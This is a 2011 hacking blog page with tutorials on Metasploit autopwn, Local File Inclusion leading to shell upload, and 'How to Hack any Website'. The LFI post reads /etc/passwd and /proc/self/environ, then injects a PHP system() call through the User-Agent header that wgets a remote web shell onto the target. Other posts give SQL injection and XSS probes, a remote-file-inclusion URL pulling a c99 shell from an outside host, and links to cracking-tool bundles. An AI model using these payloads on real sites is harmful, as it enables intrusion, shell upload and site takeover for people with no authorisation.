Powered By Blogger

Wednesday, July 6, 2011

Metasploit Autopwn fix for Backtack 5

A lot of people are having trouble with Metasploit's Autopwn feature in Backtrack 5. It does require a little bit of tweaking to get going, below are a few steps to get you on your way.
I prefer to use postgreSQL over MySQL. This tutorial will only show how to properly configure Autopwn using postgreSQL.
First you must determine if you have postgres installed on your system. To do this type the following into a terminal:
ls /etc/init.d/ | grep post
postgresql

If you do not see "postgresql-8.4" you need to update or install postgresql. This can be done using the repositories:
apt-get install postgresql-8.4 postgresql-client-8.4
Now start the postgreSQL server by typing:
/etc/init.d/postgresql-8.4 start
NOTE: If you receive an error like;
"The PostgreSQL server failed to start. Please check the log output:"
You will need to disable SSL in the config file. To do this
nano /etc/postgresql/8.4/main/postgresql.conf
Look for the section like the one below:
Code:
# - Security and Authentication -
#authentication_timeout = 1min # 1s-600s

#ssl = true # (change requires restart) You simply comment it out like I did above with the "#" sign.
Now restart postgres:
/etc/init.d/postgresql-8.4 start
Now connect to the server and change the password to whatever you want:
sudo su postgres -c psql

ALTER USER postgres WITH PASSWORD 'yoursecretpasswd ';

(make sure to use the quotation marks when setting your password, here is a real life example)

ALTER USER postgres WITH PASSWORD 'swordfish ';\q sudo passwd -d postgres

sudo su postgres -c passwd
(Here you want to use the same password you used a few steps back)


Postgresql is all setup, now to Metasploit.
Start Metasploit by typing: msfconsole
Once Metasploit starts, type: db_driver
If the driver is already loaded it will give an ouput like below.
autopwn

If not, you will need to manaully load the driver by typing: db_driver postgresql
db_driver
Now all you have to do is connect to your database by typing (pentest is the name of the database):
db_connect postgres:mysecretpassword@127.0.0.1/metasploit autopwn

We are now connected and ready to run autopwn.
Run a nmap scan on the target:
db_nmap 192.68.12.99 To see all of autopwn's options type: db_autopwn
Finally launch the autopwn and let sit back and wait:
db_autopwn -p -t -e -r


After autopwn completes type:
sessions -l Any successfull attacks will result in a session. To interact with that session type:
sessions -i 1 (where 1 is the session number)

Monday, July 4, 2011

[LFI]Local File Inclusion and shell upload[Tutorial]

LFI (Local File Inclusion)


1 – Introduction

In this tutorial I show you how to get a shell on websites using Local File Inclusion vulnerabilities and
injection malicious code in proc/self/environ.Is a step by step tutorial.

2 – Finding LFI

- Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.

Code:
www.website.com/view.php?page=contact.php

- Now lets replace contact.php with ../ so the URL will become

Code:
www.website.com/view.php?page=../

and we got an error

Code:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

big chances to have a Local File Inclusion vulnerability.Let’s go to next step.

- Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :

Code:
www.website.com/view.php?page=../../../etc/passwd

we got error and no etc/passwd file

Code:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337

so we go more directories up

Code:
www.website.com/view.php?page=../../../../../etc/passwd

we succesfully included the etc/passwd file.

Code:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

3 – Checking if proc/self/environ is accessible

- Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ

Code:
www.website.com/view.php?page=../../../../../proc/self/environ

If you get something like

Code:
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80

proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.

4 – Injecting malicious code

- Now let’s inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :

Code:
www.website.com/view.php?page=../../../../../proc/self/environ

Choose Tamper and in User-Agent filed write the following code :

Code:
<?system(wget http://fbi.20x.cc/gov/data/R00TSH3ll.txt -O sh3ll.php);?>
{The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread}

Then submit the request.

Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt {The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread} and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini.

5 – Access our shell

- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.

Code:
www.website.com/sh3ll.php

Our shell is successfully uploaded.

All In One Collection Tutorials & Tools Uploaded By sheikh_shahzeb More Than 10 GB

By - sheikh_shahzeb
Infinity Exists Underground and vblog Compete Tutorials

Free File Hosting Made Simple - MediaFire

BT 4 Tutorials

Free File Hosting Made Simple - MediaFire

Milworm Tutorials

Free File Hosting Made Simple - MediaFire

BT Offensive Security Tutorials

Free File Hosting Made Simple - MediaFire

Other Collection of Hacking Videos

Free File Hosting Made Simple - MediaFire

My Ways Of Hacking Go Here

Free File Hosting Made Simple - MediaFire

Must Use Tools in Hacking

Free File Hosting Made Simple - MediaFire

Download BackTrack R2

Free File Hosting Made Simple - MediaFire

Cracking Collection

Free File Hosting Made Simple - MediaFire

join files with winrar and hjsplit

to watch videos use klite media player and codecs

try suspicious files in sandbox or in virtual machine like in vmware for your own security i am sharing vmware also here

http://www.mediafire.com/?0zk8bmcb51033

Here Is First DVD OF CEH Labs Volume 1

CEH Labs Volume 1

If Ask Any Password type creativemediafire.tk

it takes more than a month to upload but i think usefull for all thats why i am sharing it

100 virus clean learn ethical ways of hacking 

Tuesday, June 21, 2011

Website that has alot of lucid software.

Lucid is part of Ubuntu and Ubuntu is part of Debian.
 So you figure out how it works.
 any ways this is all I got so far with my lucid.
(""" all the software will work with hp mini 210 """)
http://packages.ubuntu.com/lucid/
 you can get aircrack-ng, wireshark, and etc here good luck.

Using Puppy Linux and HP Mini 210.

This combination of software and hardware are almost perfect for hacking, but that requires some sacrifices:lacks no sound, typing, mouse gestures and no support with extra hardware (e.g. wireless key button, sound key button)
It supports many utilities basically if any software is supported in Lucid(Ubuntu> Debian), then it will work.

Backtrack 4 will not support broadcom 43x drivers at all, but puppy linux will support everything that is possible with BC43x chipsets backtrack4 supports sound and just scroll gestures on the touchpad, but it does not support portability.

Monday, June 20, 2011

Running aircrack-ng suite natively on HP-Mini 210-1000

This guide will guide you how to make aircrack-ng suite work with hp-mini 210-1000 Broadcom 4312 to work with aircrack-ng.

Requirements:
FlashDrive (more than 2 GB)
Windows (Already comes with HP mini)
1.) Get YUMI (Win32)
2.) On YUMI, look for Puppy Linux and download.
3.) Create the Live on the USB with YUMI
4.) Make sure your HPMINI BIOS boots USB as the first device.
5.) Boot up Puppy Linux
6.) Select wlan0 (because it supports broadcom :D)
7.) Get any web browser
8.) Download file from http://www.murga-linux.com/puppy/viewtopic.php?t=60202
9.) Read more about aircrack-ng suite
So, thats how you get aircrack-ng to work with hp-mini210 - 1000
it proves that hp-mini is an hacker tool.

Friday, June 17, 2011

How to Hack any Website.

This tutorial was made by Hini Aes, dedecatied to Soumyodeep on facebook.

Introduction:
All computer networks are not 100% secure peroid, but some networks are secure enough from an hacker firstly my topic is about hacking websites so first you want to know what is an exploit in my terms so you will under stand.
Exploit: The weak section of an website. With an exploit you can hack any computer system with exploit sometimes an exploit might seem to be limited, but it can be your adventage of something else maybe but html trojan/or virus.

Terms:
Deface: to replace code or file of the orginal index page.
SQL Injection/SQLi: en.wikipedia.org/wiki/SQL_injection
XSS: en.wikipedia.org/wiki/Cross-site_scripting
LFI/RFI: http://www.scribd.com/doc/6498408/Remote-and-Local-File-Inclusion-Explained

SQL Injection Example:

www.sql.com/index.php?id=1'

if you get in error in the browser let "error in your MySQL syntax"
 so by putting ' after a .php?value=# and you get error.
then site if vulerable to an SQL Injection.

XSS (Cross Site Scripting):
www.xsssite.com/search.php?query=<h1>this site is vulnerable to xss </h1>

Remote & Local File Inclusion.
RFI Exploit.
www.northkoreans.com/index.php?include=http://www.haxorz.com/c99.txt
by using the parametor include=(http://www.haxorz.com/c99.txt
the page file include c99.txt from haxorz.com but if you use .php shell then it will appear on the haxorz.com but its in .txt form then it will load contents from northkoreans.com.
LFI
www.lfime.com/index.php?id=../../../../../../etc/pwd
you have to search about that sorry.

register on www.hackforums.net and read tutorials and do them then you will be come an website hacker.